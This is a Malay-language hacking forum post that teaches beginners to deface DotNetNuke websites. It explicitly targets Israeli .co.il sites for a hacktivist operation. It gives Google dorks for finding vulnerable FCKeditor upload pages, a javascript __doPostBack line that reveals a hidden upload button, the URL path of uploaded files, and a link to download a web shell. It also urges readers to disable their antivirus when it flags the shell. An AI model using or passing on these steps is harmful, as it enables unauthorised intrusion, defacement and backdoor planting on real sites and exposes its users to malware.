Dot Net Nuke (DNN) Exploit

salam..

kepada newbie yang nk join ops israel tp xtau nk men'deface camne, aku rasa ni lah cara termudah n tersenang...

user: all pc user
Level: begineer

Dot Net Nuke (DNN)

1. open www.google.com " (recomended guna internet explorer)

2. guna dork ni: inurl:.co.il/*HtmlEditorProviders/Fck/fcklinkgallery.aspx

p/s: untuk Co.il tu korang boleh la tuka untuk domain negara tu. 

contoh untuk malaysia
inurl:.com.my/*HtmlEditorProviders/Fck/fcklinkgallery.aspx

atau

inurl:.com/*/Fck/fcklinkgallery.aspx 

tp targer kita untuk website israel aje.. so gune jelah co.il tu..

3. lepastu korang akan nmapak link galery.

4. tick pada optiopn yang ke-3 iatu "File ( A File On Your Site )"

contoh: http://mcphie.com.au/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

5. kemudian korang paste javascrip yang dibahwah ni kt BROWSER ADDRESS BAR


javascript:__doPostBack('ctlURL$cmdUpload','')


6. muncul upload button.. dah korang upload la file korang..

cara nk tgok file klorang www.target.com/portals/0/filekorang.jpg


---------------------------------------------------------------------------

sekian saja..

link download shell
http://goo.gl/VSqlL


warning! shell yang korang download ni mungkin antivirus akan detect as backdoor.. so ignore je.. lagi bagus disable antivirus korang.. hehehhee